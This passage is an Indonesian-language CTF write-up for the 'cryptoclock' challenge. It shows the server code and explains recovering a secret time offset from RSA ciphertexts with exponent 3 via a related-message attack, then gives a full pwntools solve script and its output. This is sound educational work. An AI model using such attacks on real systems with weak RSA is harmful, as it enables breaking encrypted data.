            sys.stdout.write(flag)
            sys.stdout.write('\n')
            break
        else:
            sys.stdout.write('''I knew you weren't a hacker''')
            sys.stdout.write('\n')
            break
    else:
        print 'Good by.'
        break

Kita coba jalankan program tersebut di lokal.

Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:1
HAHAHAHAHAHA, this NTP server has been taken over by hackers!!!
here is the time encrypted with sweet RSA!
65591483448351902802226912239888261427877913051459257537112647909433135321660465779739007818787246507102769966318792178070355998594386277071706789962602338898599051561589547815383532059656459033598538670267245423729643879149408096186929277608549861896324902862127612063620348480277444341149873394682980975464
Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:2
ACCESS IS ONLY FOR TRUE HACKERS!
to prove you are a true hacker, predict the future:1337
I knew you weren't a hacker

Sebelum program tersebut dijalankan, program akan menggenerate variabel random antara byte1 dan byte2 dengan 8 byte seed dari urandom.

with open('/dev/urandom', 'rb') as f:
    rand = f.read(8)

rand_int = int(rand.encode('hex'),16)

#now lets use something easier.
random.seed(rand_int)

offset = random.randint(big_1,big_2)

Terdapat 3 pilihan. Jika kita memilih 1, program akan mengoutput nilai enc_time yang merupakan hasil RSA encyript dengan plain = utcnow + offset, dengan e = 3, dan n = 142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141;

Karena bilangan n yang besar, n tidak dapat difaktorkan dengan menggunakan faktor db.

if response == '1':
        time = arrow.utcnow().timestamp + offset
        enc_time = pow(time,keys['e'],keys['n'])
        sys.stdout.write(str(enc_time))

Pada pilihan kedua nilai enctime saat ini, dijadikan randomseed. Lalu program menggenerate nilai random yang harus kita tebak. Jika kita berhasil menebak angka random tersebut kita akan mendapatkan flag.

elif response == '2':
        # lets get even more random!
        time = arrow.utcnow().timestamp + offset
        random.seed(time)
        guessing_int = random.randint(0,999999999999)
        response = raw_input('')
        if response == str(guessing_int):
            sys.stdout.write(flag)

Inti dari challange ini adalah kita harus menebak berapa offset random yang di generate oleh program. Kita coba analisis dari sistem enkripsi RSA pada pilihan 1.

Jika kita lihat time yang diencrypt

time = arrow.utcnow().timestamp + offset

time akan bertambah satu setiap detik.

Kita misalkan time stamp saat ini adalah ts

time0 = ts + offset
time1 = ts + offset + 1
time2 = ts + offset + 2
time3 = ts + offset + 3
.
.
.

Kita coba ringkas lagi. ts + offset menjadi tso

time0 = tso
time1 = tso + 1
time2 = tso + 2
time3 = tso + 3
.
.

Dapat diliat pola dari plaintext linier. Sehingga kita dapat mendapatkan nilai tso tanpa mencari private key, yaitu dengan menggunakan Franklin Reiter Attack

Kita coba buat enkripsi RSA menjadi sebuah persamaan polinomial dengan derajat 3 karena e = 3.

enctime0 = RSA(time0, 3, n) = (tso)**3 % n
enctime1 = RSA(time1, 3, n) = (tso + 1)**3 % n =( tso**3 + 3 * tso**2 + 3  * tso + 1 ) % n
enctime2 = RSA(time2, 3, n) = (tso + 2)**3 % n =( tso**3 + 6 * tso**2 + 12 * tso + 4 ) % n
enctime3 = RSA(time3, 3, n) = (tso + 3)**3 % n =( tso**3 + 9 * tso**2 + 27 * tso + 9 ) % n

Jika kita manipulasi keempat persamaan tersebut secara manual. Dapat diperoleh persamaan dengan derajat 1. Contohnya seperti berikut.

enctime3 + enctime0 - enctime1 - enctime2 = (12 * tso + 18 ) % n

Karena persamaan sudah terlihat linier, maka kita dapat mencari nilai tso dengan mudah. Bisa dengan gmpy atau kita coba manual.

Jika kita mengetahui nilai tso, kita dapat menggenerate nilai offset dan menggenerate nilai random yang sama dengan yang dibuat oleh program.

Berikut script untuk mendapatkan flag

import random
import arrow
import time
from pwn import *
from sys import *

keys = {
    "n":142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141,
    "e": 3
}


def getcur():
 p.sendline('1')
 p.recvuntil('RSA!\n')
 return eval(p.recvline().strip())

def getdata():
 for i in range(4):
  if i == 0:
   firsttime.append(arrow.utcnow().timestamp)
   # ambil time awal
  enctime.append(getcur())
  # print enctime[i]
  # print
  sleep(1)

def compute():
 # enctime3 + enctime0 - enctime1 - enctime2 = (12 * tso + 18 ) % n

 totalenc = enctime[3] + enctime[0] - enctime[1] - enctime[2] - 18
 totalenc = totalenc % keys['n']
 while totalenc % 12 != 0:
  totalenc += keys['n']
 # bruteforce manual mencari kelipatan 12
 tso = (totalenc/12) % keys['n']
 
 offset = tso - firsttime[0]

 assert enctime[0] == pow(firsttime[0]+offset, 3, keys['n'])
 # print enctime[0], pow(firsttime+offset, 3, keys['n'])
 # cek manual enc time dengan enc sistem
 return offset

def attack(offset):
 time = arrow.utcnow().timestamp + offset
 print offset
 p.sendline('2')
 random.seed(time)
 guessing_int = random.randint(0,999999999999)
 p.sendline(str(guessing_int))
 p.interactive()
 # print anything


enctime = []

p = process('./soal.py')
firsttime = []
getdata()
offset = compute()
attack(offset)

Mati kita coba jalankan dengan semangat

a@a-l ~/CTF/tuctf/crypto/cryptoclock $ python solve.py 
[+] Starting local process './soal.py': pid 8101
55969035464709264574317945966340530441212223514033774913384027420606040108552999045539910802429093186897367580038431282346833841212343691474112849644573699358976007547301899048552330679832668433949084639764634834550486404163431865278602312818657312396033813763706085140312567944945436838398692227407066593980
[*] Switching to interactive mode
Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:ACCESS IS ONLY FOR TRUE HACKERS!
to prove you are a true hacker, predict the future:Wow, guess you are a hacker.
THEFLAG
[*] Got EOF while reading in interactive
$ 
[*] Process './soal.py' stopped with exit code 0 (pid 8101)

Bahan referensi : RSA Paper